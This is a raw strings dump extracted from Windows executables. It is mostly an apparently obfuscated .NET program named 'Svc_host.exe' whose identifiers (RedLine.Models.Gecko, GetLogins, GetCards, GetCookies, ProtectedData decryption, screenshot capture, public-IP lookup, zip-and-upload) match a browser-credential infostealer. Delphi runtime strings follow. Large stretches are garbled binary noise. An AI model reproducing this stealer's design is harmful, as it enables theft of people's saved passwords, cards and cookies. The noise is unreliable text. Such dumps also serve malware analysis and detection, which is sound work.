!This program cannot be run in DOS mode.
`.sdata
@.reloc
B.enigma1
.enigma2
Z ?_d
_b`*
v4.0.30319
#Strings
Svc_host
ExtensionAttribute
System.Runtime.CompilerServices
mscorlib
System
CompilationRelaxationsAttribute
Boolean
RuntimeCompatibilityAttribute
DebuggableAttribute
System.Diagnostics
DebuggingModes
AssemblyTitleAttribute
System.Reflection
String
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
ComVisibleAttribute
System.Runtime.InteropServices
GuidAttribute
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
SuppressIldasmAttribute
2e8af32f-a75c-4135-888a-4bc47a4588da
Svc_host.exe
<Module>
y0EcsE7BadlYGxU0Gu
PE4ueBrOQwaJUxgwsL
Object
MrJPtRTkEQeyhJxItX
pQZrFxlytHf7qjY3MJ
SUmHssLoiXt58fFVd4
GxtgXFQAPUYaPyGeux
tcnPv3bmtvJXvgmFZC
qUCKdhZDhxTPIfa49G
Sqlite
GjBXl0iBPi0vQyJS5a
ValueType
wBcPnpm8xDKCjHR7Fh
SOIfPyADCjqCw0py7g
JsonExt
sexas.Logic.Extensions
JavaScreenshotiptReader
sexas.Logic.Json
JsonArray
JsonObject
JsonPrimitive
JsonType
JsonValue
<ToJsonPairEnumerable>d__12
<ToJsonValueEnumerable>d__13
Asn1Object
RedLine.Models.Gecko
Asn1Type
KrBKuFESyi0vB52pZr
nNCTpJUOHWpfmJG2sM
BrowserInfo
BrowserInfoReader
M8rfDl0S0Lay3ae3Qi
oox0FIVACpWcUIpJZf
G2H9pT9M4ZhLs3BESt
BNBenL4AA5DJP2XPiM
zxbPLrWDPOb690JBub
CAV3MN5IURjGfEJbXQ
hackrjaw
xA5F7cSDuDeXkcwl9G
v21hlf1v7nxGKPfkoL
SeykFudZZD0Zjb02Xh
J8AcBDuq54hdMXMsbv
YgDya5RM5UaEjJoGNN
bt11QZneSIMBwGLSbP
SQVx44PuHJeGhUNBZg
ncQutLcAXjGw5mlhoy
AHlbEdCYDs1n0hh34I
bllVu4kye1m8JmwN0l
IpInfo
PCInfo
O7C6FBKv50U6fYtUUN
W0veKnao9cimYkfi69
<Upload>d__14
kHXTVlDTsmrjMAufUP
mBBtNmt9l7pkctgXjj
m0SPuMB69LkEBY5xGg
DF0FDC3CG8eSNOCKHs
HSUcABHGxoh7699xJK
Writer
<PrivateImplementationDetails>
__StaticArrayInitTypeSize=10
<Module>{B5FF76C3-26B4-44C9-B852-2E081DF2E809}
UX8ZSde4bJXatu3IFj
mgpavYqX6E7EO5I5SM
VQx57D6QBo3v93tyle
MulticastDelegate
RdJhBdwQHyH7N7UM3i
sSCiokxPRV2b3jkgKr
mprgDmjeJVBdbAH74b
Attribute
r26DUDIQnc3DHAb7kj`1
EhQHopOV7Q7urVAug3
do0u6iyKkR9jANc3la
DGo8j9FV4H6Gap4WAc
G88sn7JQf03ftpetvG
viwA9ohhNtaGVcbqAX
hY4E1a2g1bVuE4d3AK
TTZnhWMaftuxwHgSMQ
kE1dIepFEFQxl2On6w
pXicLtgrUocR0sWjvI
<PrivateImplementationDetails>{43098EDA-C61A-48AC-A245-A25F04495056}
__StaticArrayInitTypeSize=256
__StaticArrayInitTypeSize=40
__StaticArrayInitTypeSize=30
__StaticArrayInitTypeSize=32
__StaticArrayInitTypeSize=16
__StaticArrayInitTypeSize=64
__StaticArrayInitTypeSize=18
ULOLrJPtR
y0E7csEBa
Process
TimeSpan
GetProcessesByName
get_MainModule
ProcessModule
get_FileName
System.IO
GetDirectoryName
Concat
Directory
Exists
DateTime
get_UtcNow
op_Subtraction
get_TotalSeconds
Double
ToString
zlYrGxU0G
CreateDirectory
DirectoryInfo
FileSystemInfo
set_Attributes
FileAttributes
GetFiles
GetDirectories
AhET4ueBO
GetFileName
get_Chars
fwalJUxgw
DEQQeyhJx
FileStream
ReadAllBytes
Encoding
System.Text
get_UTF8
GetString
GetBytes
Delete
FileMode
FileAccess
Stream
get_Length
IDisposable
Dispose
KtXb1QZrF
GetAccessControl
FileSecurity
System.Security.AccessControl
UnauthorizedAccessException
IytZHf7qj
Assembly
GetExecutingAssembly
get_Location
ProcessStartInfo
set_WindowStyle
ProcessWindowStyle
Component
System.ComponentModel
Environment
W3MEJpUmH
GetFolderPath
SpecialFolder
MessageBox
System.Windows.Forms
DialogResult
GetProcesses
get_ProcessName
ToLower
Contains
get_MainWindowTitle
op_Equality
StringBuilder
Convert
ToChar
Exception
iCK5dhDhx
dPISfa49G
UInt64
KrB1KuFSy
x0vRB52pZ
c5NnCTpJO
UInt16
EWpKfmJG2
UMya8rfDl
baseName
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
FileSystem
Microsoft.VisualBasic
FileOpen
OpenMode
OpenAccess
OpenShare
Strings
FileGet
FileClose
get_Default
CompareTo
Decimal
Compare
UsoUiXt58
TFV0d4qxt
BitConverter
ToInt64
GetRowCount
GetTableNames
Microsoft.VisualBasic.CompilerServices
CopyArray
GetValue
row_num
SXFVAPUYa
AyG9euxac
rPv43mtvJ
ToInt32
Subtract
ToUInt16
ToUInt64
get_Unicode
get_BigEndianUnicode
Multiply
ReadTable
TableName
IndexOf
Substring
TrimStart
WvgWmFZCR
Conversions
pot7piu2Y9
SSk7g2ZD0s
Vdr7fvupvk
Nuw7sIqdRV
yGr7vnBrs5
Tj67X926LF
Kyk7YkFpgu
VkL7GNHguX
wc47oSa1FJ
vtn7zK37lX
FromJSON
StringReader
ToJSON
instance
H90PJBubc
yV3cMNIUR
TextReader
JGfCEJbXQ
xA5kF7cDu
teXHkcwl9
XB2e1hlfv
bnxqGKPfk
reader
ArgumentNullException
o0LDay3ae
List`1
System.Collections.Generic
Dictionary`2
KeyValuePair`2
Enumerator
ToArray
set_Item
get_Count
GetEnumerator
get_Current
MoveNext
Format
wQitSox0F
KACBpWcUI
RJZ3fq2H9
RTMi4ZhLs
Append
CultureInfo
System.Globalization
get_InvariantCulture
TryParse
NumberStyles
IFormatProvider
op_Inequality
ArgumentException
wBEmStcNB
set_Length
FnLAAA5DJ
B2XdPiMux
gPLurDPOb
YLo6gDya5
get_IsReadOnly
get_Item
get_JsonType
IEnumerable`1
AddRange
CopyTo
arrayIndex
Insert
Remove
RemoveAt
stream
parsing
WriteByte
System.Collections.Generic.IEnumerable<sexas.Logic.Json.JsonValue>.GetEnumerator
IEnumerator`1
System.Collections.IEnumerable.GetEnumerator
IEnumerator
System.Collections
IEnumerable
IsReadOnly
ICollection`1
IList`1
Q5UwaEjJo
SortedDictionary`2
get_Keys
KeyCollection
get_Values
ValueCollection
System.Collections.Generic.ICollection<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.get_IsReadOnly
StringComparer
get_Ordinal
IComparer`1
get_Key
get_Value
System.Collections.Generic.ICollection<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.Contains
System.Collections.Generic.ICollection<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.Remove
ContainsKey
TryGetValue
Values
System.Collections.Generic.ICollection<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.IsReadOnly
IDictionary`2
YNNx7t11Q
geSjIMBwG
eSbIPF7C6
TypeCode
GetType
GetTypeCode
Single
UInt32
DateTimeOffset
GetFormattedString
IsNullOrEmpty
NotImplementedException
IFormattable
NumberFormatInfo
get_InvariantInfo
InvalidOperationException
.cctor
value__
Number
StreamReader
textReader
NBvN50U6f
WtUOUNY0v
ToJsonValue
PropertyInfo
GetProperties
MemberInfo
get_Name
NotSupportedException
jsonString
StreamWriter
TextWriter
textWriter
FKnyo9cim
saving
StringWriter
WkfFi69VH
EscapeString
VTVJlTsmr
op_Implicit
ToBoolean
ToByte
ToDecimal
ToDouble
ToSingle
ToSByte
ToInt16
ToUInt32
<>1__state
<>2__current
<>l__initialThreadId
<>3__kvpc
<>7__wrap1
get_CurrentManagedThreadId
System.IDisposable.Dispose
<>m__Finally1
System.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.get_Current
System.Collections.IEnumerator.Reset
System.Collections.IEnumerator.get_Current
System.Collections.Generic.IEnumerable<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.GetEnumerator
System.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,sexas.Logic.Json.JsonValue>>.Current
System.Collections.IEnumerator.Current
<>3__arr
System.Collections.Generic.IEnumerator<sexas.Logic.Json.JsonValue>.get_Current
System.Collections.Generic.IEnumerator<sexas.Logic.Json.JsonValue>.Current
JMAhufUP4
vBt2Nm9l7
SkcMtgXjj
m0SpPuM69
get_ObjectType
set_ObjectType
get_ObjectData
set_ObjectData
get_ObjectLength
set_ObjectLength
get_Objects
set_Objects
AppendLine
AppendFormat
ObjectType
ObjectData
ObjectLength
Objects
Sequence
Integer
BitString
OctetString
ObjectIdentifier
SCFf0FDCC
ekEgBY5xG
GetTempPath
WriteLine
X8esSNOCK
EsqvjBXl0
vPiX0vQyJ
o5aY3BcPn
R8xGDKCjH
set_Name
get_LoginsPath
set_LoginsPath
get_CardsPath
set_CardsPath
get_KeyPath
set_KeyPath
get_CookiePath
set_CookiePath
LoginsPath
CardsPath
KeyPath
CookiePath
q7FohgOIf
GetLogins
basePath
SQLiteConnection
System.Data.SQLite
SQLiteDataReader
GetRandomFileName
SQLiteCommand
DbConnection
System.Data.Common
System.Data
DbCommand
ExecuteNonQuery
ExecuteReader
DbDataReader
GetCards
GetCookies
ToUpper
ByDzCjqCw
GetEnvironmentVariable
jpy787ggey
ReadAllText
JObject
Newtonsoft.Json.Linq
Newtonsoft.Json
JToken
FromBase64String
Enumerable
System.Linq
System.Core
ProtectedData
System.Security.Cryptography
System.Security
Unprotect
DataProtectionScope
DFu77ZZD0Z
MemoryStream
BinaryReader
GcmBlockCipher
Org.BouncyCastle.Crypto.Modes
BouncyCastle.Crypto
AeadParameters
Org.BouncyCastle.Crypto.Parameters
ReadBytes
AesEngine
Org.BouncyCastle.Crypto.Engines
IBlockCipher
Org.BouncyCastle.Crypto
KeyParameter
ICipherParameters
GetOutputSize
ProcessBytes
DoFinal
ncQ7butLAX
JGw7Z5mlho
NuH7ElbEdY
Jb07r2Xhj8
Combine
ycB7TDq54h
get_Exists
get_FullName
zMX7lMsbvg
fVx7L44uHJ
FGh7QUNBZg
RegistryKey
Microsoft.Win32
Registry
CurrentUser
OpenSubKey
jisjaisjhq
FileInfo
ts17Un0hh3
mIr70llVu4
System.Text.RegularExpressions
get_Groups
GroupCollection
IsNullOrWhiteSpace
ReadLine
Collect
DKtrTN0mU1
mAZr86KwWO
U20r728Src
nr4rlyR2Ov
KOkrLWBjAV
YSMrQZwVH8
svY71X6E7E
M5I7R5SMvQ
I577nDQBo3
V937KtyleM
zJh7aBdQHy
E7N7D7UM3i
Ne17Vm8Jmw
StringSplitOptions
L0l79wSUcA
vGx74oh769
lxJ7WKsX8Z
Replace
get_NewLine
od475bJXat
A3I7SFjWgp
luVr9gmfVO
OxIr4rckXx
sY6rWeJ0Gd
lqlr50xwtw
XJprb28ZCb
vhmrZ2CuBn
pRZrUPUYSV
rdFr0tidhY
IDUrSMrDma
PaddingMode
TripleDESCryptoServiceProvider
ICryptoTransform
SymmetricAlgorithm
set_Key
set_IV
set_Mode
CipherMode
set_Padding
CreateDecryptor
TransformFinalBlock
fKlr14Slmg
LGKrPmELoO
prmrcMar9t
YtYrCvmAXS
tZZrkFwuXS
IvtrH2NQUJ
R7Drn3ltUX
hHyraqFlvr
t6YrtLCTCM
Oaqr3sJR4h
bksri3Hp6w
r4OrAQdpES
T6trdddubH
hbJrRRXhLt
HMACSHA1
SHA1CryptoServiceProvider
HashAlgorithm
ComputeHash
sSC7tiokPR
k2b7B3jkgK
cWp73rgDme
OVB7idbAH7
lbn7m26DUD
fnc7A3DHAb
bkj7dCNrUj
qeA7uKAd4X
get_Ip
set_Ip
get_Hostname
set_Hostname
get_City
set_City
get_Region
set_Region
get_Country
set_Country
get_Loc
set_Loc
get_Org
set_Org
get_Postal
set_Postal
Hostname
Region
Country
Postal
SaveInfo
GetPublicIP
WebRequest
System.Net
Create
GetResponse
WebResponse
GetResponseStream
ReadToEnd
FaB7PXHhQH
ManagementObjectSearcher
System.Management
ManagementObjectEnumerator
ManagementObjectCollection
ManagementObject
ManagementBaseObject
get_InstalledUICulture
get_DisplayName
WindowsIdentity
System.Security.Principal
GetCurrent
ClaimsIdentity
System.Security.Claims
TimeZone
get_CurrentTimeZone
get_Now
GetUtcOffset
YpV7c7Q7ur
Screen
Rectangle
System.Drawing
get_AllScreens
get_DeviceName
get_WorkingArea
get_Width
get_Height
GetUserCountryByIp
RegionInfo
WebClient
DownloadString
JsonConvert
DeserializeObject
get_EnglishName
Y8j7e9V4H6
Xap7q4WAc6
a8s76n7Qf0
wft7wpetvG
viw7xA9ohN
uaG7jVcbqA
WZY7I4E1ag
pbV7NuE4d3
yKf7OTZnhW
sft7yuxwHg
oMQ7F9E1dI
FFE7JFQxl2
kAu7Cg3To0
Thread
System.Threading
ThreadStart
IntPtr
set_IsBackground
ZipFile
System.IO.Compression
System.IO.Compression.FileSystem
CreateFromDirectory
System.Threading.Tasks
SetValue
A6i7kKkR9j
yNc7H3laCG
Task`1
AsyncTaskMethodBuilder`1
get_Task
<>t__builder
paramFileBytes
contry
actionUrl
<client>5__2
HttpClient
System.Net.Http
<formData>5__3
MultipartFormDataContent
<>u__1
TaskAwaiter`1
HttpResponseMessage
<>u__2
IAsyncStateMachine
HttpContent
StringContent
ByteArrayContent
PostAsync
GetAwaiter
get_IsCompleted
AwaitUnsafeOnCompleted
GetResult
get_IsSuccessStatusCode
get_Content
ReadAsStringAsync
SetException
SetResult
SetStateMachine
stateMachine
Mn67hw1Xic
Bitmap
get_PrimaryScreen
get_Bounds
Graphics
FromImage
get_Size
CopyFromScreen
UWj7MvI2Pd
etr72UocR0
Equals
Matches
MatchCollection
Func`2
Select
ToList
dVerqfwXH3
tlsr6r0YqT
ImVreghOgf
Capture
7D78CB380BF5EFB7B851409CA6A875F77DECF09D19B9149DA17A3EBF674BC0F9
rnrrwsxkKt
Module
kuTWFekkN7H1T
typemdt
FieldInfo
MethodInfo
ResolveType
GetFields
get_MetadataToken
ResolveMethod
MethodBase
Delegate
CreateDelegate
GetTypeFromHandle
RuntimeTypeHandle
get_Assembly
get_ManifestModule
Invoke
BeginInvoke
IAsyncResult
AsyncCallback
callback
object
EndInvoke
result
qLqTUB03pe
vdjTSXVKh1
JanTa516aB
VivTtsHLmT
nNVTBuqqMu
SortedList
ve0T3KEAOQ
GVaTuxAo8c
cvGTc62fbh
Xo8THQnkpP
ui2TCnCcHo
SWdTdlfZr6
s6aTWU4cil
YSpTnE2402
H5TT9jGIJr
JryTA4B0bE
CF3T40qwAp
DkqT0YKlCa
isPTk4DpvQ
IsUTms9OhI
HhoTDvvbvy
EhTTiZcVj4
HvATehouPh
Hashtable
pfuT1iIZmq
bA3TPp6hfH
mVPTRdSFuB
g2JT5HN0Di
NEDTKTA69F
Uy1TVkvLYZ
RSACryptoServiceProvider
set_UseMachineKeyStore
OVRWFekA8u2i2
fHjrx9CQZU
zadrjIIEei
deRrIFxKHK
RnxrNPRkld
Ro1rOZhBpP
vlsrym1Eay
O9lrFDUfwT
tJNrJUyaHA
AesCryptoServiceProvider
RijndaelManaged
Activator
CreateInstance
ObjectHandle
System.Runtime.Remoting
Unwrap
eE9rha3L7Q
CryptoConfig
get_AllowOnlyFipsAlgorithms
uuBr2OipR2
MD5CryptoServiceProvider
EXQrMI3sih
CryptoStream
GetManifestResourceStream
get_BaseStream
set_Position
GetName
AssemblyName
GetPublicKeyToken
CryptoStreamMode
FlushFinalBlock
mbQrgLUPdE
UdOrfCUogC
C5ZrsjpAT5
fL6rvVq3uv
bX2rXdBOIA
JCyrYvXkDe
Marshal
GetMethod
kLgrGFg2tv
get_CodeBase
GetProperty
oXUroCeT7p
FileShare
TKprzORhAD
mwmT8TpS9G
Ma7T7oZkDn
MVCTrfIq3t
O9XTTU7ciW
CrETlP6mc0
FhNTLfYgtn
FsRTQH5UfQ
QgqTbxSmB8
PU1TZG8J0B
UZHTEJ4ZwK
DHF1woKAGRtDSl6iGV
iUQIcDVt8vUyTnus3p
JarYbBSKsvpvDobgFZ
MLrNnSndtbZseDPvsV
LxAyjyugm7XPCIDY9s
sH2xNdLDXuUGYVXTUu
T5AsclYaeATZiCFq8N
Reverse
qb8UbqjSOxa5V94F6B
Qody6rDILmA8ROyPQv
gD5HqKTe49nZ5HB78s
pDPcSBBd6HxkoFuYCi
BAsa0AGpf2dRR5ZDkM
vlA4AEmSGBWQKeF8P8
rnl6Pl8Lw1ns2JfNIK
oSLdWKrMvmv4KYll24
aMLyS77T08ONIELQk7
vnYK1QbZeIo12FZyAW
Bsg9PsQ8xFodVR4OWG
lD12K3pr3MtWABv1yk
rhv9MSx6mbav0VukVQ
HH089NcB0xbdqZ74au
DNrUjnNeAKAd4XeaBX
gFWTqEOy5Y
CreateEncryptor
ToBase64String
classthis
nativeEntry
nativeSizeOfCode
ptGT6nREta
miKTwROpYm
AqUTxuy6WS
gbFWFekzRxseB
O80TjM01VV
ModuleHandle
mORWFeAZligVW
GetRuntimeTypeHandleFromMetadataToken
PPbWFeA1LVIpE
GetRuntimeFieldHandleFromMetadataToken
GetModules
get_ModuleHandle
$$method0x6000007-1
$$method0x6000020-1
$$method0x6000020-2
$$method0x600002a-1
$$method0x600002a-2
$$method0x6000039-1
$$method0x600005f-1
$$method0x600027b-1
9qR9tooT2StDGO5vvH.0X0hZr3HcMgT1h1kMZ
Svc_host.g.resources
aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources
DefaultMemberAttribute
ParamArrayAttribute
IteratorStateMachineAttribute
CompilerGeneratedAttribute
JsonPropertyAttribute
AsyncStateMachineAttribute
DebuggerHiddenAttribute
UnmanagedFunctionPointerAttribute
CallingConvention
FlagsAttribute
WrapNonExceptionThrows
Svc_host
Copyright
2020
$a5d9ca4d-400f-4e07-8c09-a916b548f2e3
1.0.0.0
.NETFramework,Version=v4.6.1
FrameworkDisplayName
.NET Framework 4.6.1
6sexas.Logic.Json.JsonValue+<ToJsonPairEnumerable>d__12
7sexas.Logic.Json.JsonValue+<ToJsonValueEnumerable>d__13
hostname
region
country
postal
3W0veKnao9cimYkfi69.O7C6FBKv50U6fYtUUN+<Upload>d__14
sSCiokxPRV2b3jkgKr.RdJhBdwQHyH7N7UM3i+mprgDmjeJVBdbAH74b+r26DUDIQnc3DHAb7kj`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]][]
mSyD3a#y
J]D'5m
@*S4U
I6=X]}
(U 6ME
<#;l7i
'hfIe\;/
gu"SQu
I'R KL
Gw;G\1
M:k2#>sp>r<Z
%E_{to
%kk#(>
y&D?$%
1rJJ8sK
sJ&#gZl
x_'>.cy
ih4m@4'
%g[--d
m,a4|d
;Hv{/u
TZ^1tA
|>.|esH
3d,eOY
|4_GlG
7DcLoK
CBfWAN
R icj'ae
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089fSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.CodeDom.MemberAttributes
value__
System.Globalization.CultureInfo
m_isReadOnly
compareInfo
textInfo
numInfo
dateTimeInfo
calendar
m_dataItem
cultureID
m_name
m_useUserOverride
System.Globalization.CompareInfo
System.Globalization.TextInfo%System.Globalization.NumberFormatInfo'System.Globalization.DateTimeFormatInfo
System.Globalization.Calendar
System.Globalization.CompareInfo
m_name
win32LCID
culture
m_SortVersion
System.Globalization.SortVersion
System.Globalization.TextInfo
m_listSeparator
m_isReadOnly
m_cultureName
customCultureName
m_nDataItem
m_useUserOverride
m_win32LangID
%System.Globalization.NumberFormatInfo"
numberGroupSizes
currencyGroupSizes
percentGroupSizes
positiveSign
negativeSign
numberDecimalSeparator
numberGroupSeparator
currencyGroupSeparator
currencyDecimalSeparator
currencySymbol
ansiCurrencySymbol
nanSymbol
positiveInfinitySymbol
negativeInfinitySymbol
percentDecimalSeparator
percentGroupSeparator
percentSymbol
perMilleSymbol
nativeDigits
m_dataItem
numberDecimalDigits
currencyDecimalDigits
currencyPositivePattern
currencyNegativePattern
numberNegativePattern
percentPositivePattern
percentNegativePattern
percentDecimalDigits
digitSubstitution
isReadOnly
m_useUserOverride
m_isInvariant
validForParseAsNumber
validForParseAsCurrency
Infinity
-Infinity
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Size
height
Svc_host.pdb
_CorExeMain
mscoree.dll
KRfhn M
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
prog3am
`.idart
(TB@#e
P.reloAcE$g,
0Jv(\rs
Object
rfac]93^
#AdfPh
:~$;=HBu,Bq
#<PJH"
2At$@w
~KxI[?)
DI}WFE
WARE\Bor
FPUMasktV%luY
)!Mx>|
",P$v)/
d`*qZTUW&VSBD
Hb!R::
-Rf;bl
~q9zO|*k
YtM<r
b*_1Wqd2
\H|\D]Y
N|0h4!V
?@PVI3![
LongPa
W!IxT@
CAAt(p
jAytdI
6R`RSoft
Mk \H!
_h-}*ph
eption
fMemorZy
EDivB(yZ
RangCe+
j?5@;d
ESta&ck
8+Hp-\@
^D+$
hrea_d
Fals#>
U[^_I4
Dp6<.,'d
\iE>r`
@j$*n@
3(')]5
H/M%yt9
.2k>dA3
y<%q(M
raZ"4b:
B>(#c6
H~dH.KP
?3?7!GD5b(
(PKvP~
X&/~f3-
N$B|dF
DiskFr
;w$tI|
i ~=Lz
\2|1T&P
JD<dlH
ISe9qu
tagEXC
O}j^Kf$
I4|F|o
HyZ >B
Implbd
}Dq`Bz
tW_-Y((
2uhD$(lHQ
|k&C3a
Z6!.<E
^$pT8(;
"u/Y~)
K4DC#(H
M"aEz,B
&"BD]}
NSw7)
NQr8{q
'bj9?X8
'`R886
NJ(FlJ
~0p-T@
Sma"inVt
Do!ubHD C
b<[uHud
BotZh<
eutral
hl/6Aq
^\@`hx6DApD*
hx*FGA
H&0x#K
}L+_%B!>
FGHIJKLM-NO@
XYZabcd
efghijkl
mnopqrst
uvwxyz01
23456789%+/{
'(),-./*:?PD
"#$%&*;<
^_`{|}.
Wri'b+
LisFtpG\
:^It`^`
daopZl
Th I_
THanNdt:
{)*11i
$G\Y5@
2A$JB"
;\["SK
wG4-lH!
!'M$4b
TwHU\J
Z@AsI-
y,Pse<
R"[Djy
Az/+W@
t_T<X<
b#x\"G
;\(uL0
T4z^{f
DIib9b
p%pDpEpF
2e,N0P
UipSr:B
C 2HUs$oJy(
D9C.VV
tDlNHo$k$
Query}"
MapViee
uplicP
1vijIo&z
s!HYo0
,TZ<V$
sj@hU(Q
pt-_",
4+PP j
CPEImag
T4ygM1
&w0vv4
w'|71J
!pTlh%
O.|%'Gv
vY`(.'
](tH:c
|!F3JV:h
\Wt aWy
lh>hTw0v
fn%vEVm4
yQ,Fh$
-'@8}K.
D## OBu
+i#HD;
'Sd46US
8">EV~
A;>?N
!O;BY[
lfmQ;H}s
l<$[3K
?i7U2+b{
54#[N2
^h8j6'h
u0I!@|
5+.`yR{
d+1~<:
bI Dq'
rfFK;BKv
V44f@(
4%](:AA C!
@xLIPm@
s[/C}"
w8ihTOD
(3QxFC
Zk!2Y8
r~f ~s
RfV!#8
WA+@`'
*@Bv\c&
ik3.LQ
un>!dn
(}:<]g
Ra,$B.
`b.@ Q
$ MX~`
!G&?C!\
WK+#xE
@uyhX_
r=g.yU
+Cfd6}W
%ZppRL>
&*<>CF
ware:daa
>#(k>~->sMH70
cU/NRDY"
_XPh|K1
:%V\)?
?0?S4v$}08
jR/tl}
^teK:L11/
g$eXTy
AsZewm 3)
~/'oyY
t"iNG_~mX
CZ 2J"G
Owj*lP"T
tn#Eo*
@"<D84
@"<D84
y`$\HX
T"PDLH
b"^DZV
B">D:6
f"bD^Z
F"BD>:
b"^DZV
B">D:6
g"cD_[
b"^DZV
6"2D.*
z"vDrn
Z"VDRN
:"6D2.
v"rDnj
V"RDNJ
6"2D.*
znx p~
4JID".c
9Ti<c}
sAPIB/u^=
uV@W'U
Z0#@;ib
+b3WmLE
\H!py9
p"KH,a'
C+#>D1
.8<8>8:8"./
be.-P.3
}BnWNm
~>%sh /
^/fE~'
@AXE^o!
10u(QP<
C#)*6&
f {@Ng
4pSFKY
3456789A
L"TD\d
s prog
f`A38Q
"6DLX
B"NDjv
0"@DRd
h}a%Tow
H{v)piHAReg+
vS$&A%>
numC5;
:$;4<T=`>d?h?l?p?t?x?|?
~:~B~J~R~Z~b
j~r~z~
18'RG|g
N97c:p;
'?GIgS
:#;-&Kh
<&&.XgF
<$=,>4?<,D"
~X~\~`~d~h~l~z~
' G$g(
|<~@~D~H~L~\~|~
>(?H?P?T?X?\?`?d?h?l?p?
?r(t0v4x8z<|@~D~H~L~P~d~
tvyM~dH^?
95'PGTdX
QAng4d
84: ;:'M
5h^=~>
?`?d$l
t"Z*8xo
<#=)%.
~e~k~p~{~
9<0:8g
tE]mr=
k8$?s%w
bBPdJJ
fRX<JZ
@%8AB@*
DHPF~P~zK
6Zp%>c
?!?%?)?-?1e
"9<V:];
?)?--1
KIWX,~v~
:`;r<y
]<m=u>}-
~0~4N8
:Mmr/DA
7H'kCJ8
x7zO|[[h
9:&:B;_*~
*';GNgj
-982:@;O/
:|\En?O
(>\/hd
YVPq>r
qXh~y~}~
z<#VN&
94t!h[5`
$0rYOh
h,:0rqt
lJ:S'cq
8x0xHzP|XD`p
<fr~HZL
bF BhhE
k2N qHR
:iuB.S
4Ze*.D
)t`yf[
^p=SOT-f
7 #|\H
p[&>R`
@$|~W
8-!X P
0i"RTCLb
}GyEq\q8
This program must be run under Win32
.idata
.edata
P.reloc
P.rsrc
'Sd46US
8">EV~
A;>?N
!O;BY[
lfmQ;H}s
l<$[3K
Cardinal
String(pB
WideString
TObject
TObject
System
IInterface
System
TInterfacedObject
YZ]_^[
YZ]_^[
_^[YY]
YZ]_^[
~KxI[)
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
_^[YY]
ZTUWVSPRTj
YZ]_^[
kernel32.dll
GetLongPathNameA
Software\Borland\Locales
Software\Borland\Delphi\Locales
_^[YY]
Exception
EHeapException
EOutOfMemory
EInOutError
EExternal
EExternalException
EIntError
EDivByZero
ERangeError
EIntOverflow
EMathError
EInvalidOp
EZeroDivide
EOverflow
EUnderflow
EInvalidPointer
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
TFormatSettings
SysUtils
SysUtils
TThreadLocalCounter
$TMultiReadExclusiveWriteSynchronizer
<*t"<0r=<9w9i
_^[YY]
INFNAN
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
_^[YY]
_^[YY]
$YZ_^[
t%HtIHtm
_^[YY]
$Z]_^[
QQQQQQSVW3
QQQQQSVW
_^[YY]
TErrorRec
TExceptRec
YZ]_^[
m/d/yy
mmmm d, yyyy
:mm:ss
kernel32.dll
GetDiskFreeSpaceExA
(Z]_^[
ISequentialStream
ActiveX
IStream
ActiveX
tagEXCEPINFO
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
TCustomVariantType
TCustomVariantType89C
Variants
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgError
EVariantBadVarTypeError
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedError\>C
EVariantDispatchError
_^[YY]
QQQQSV
Smallint
Integer
Single
Double
Currency
OleStr
Dispatch
Boolean
Variant
Unknown
Decimal
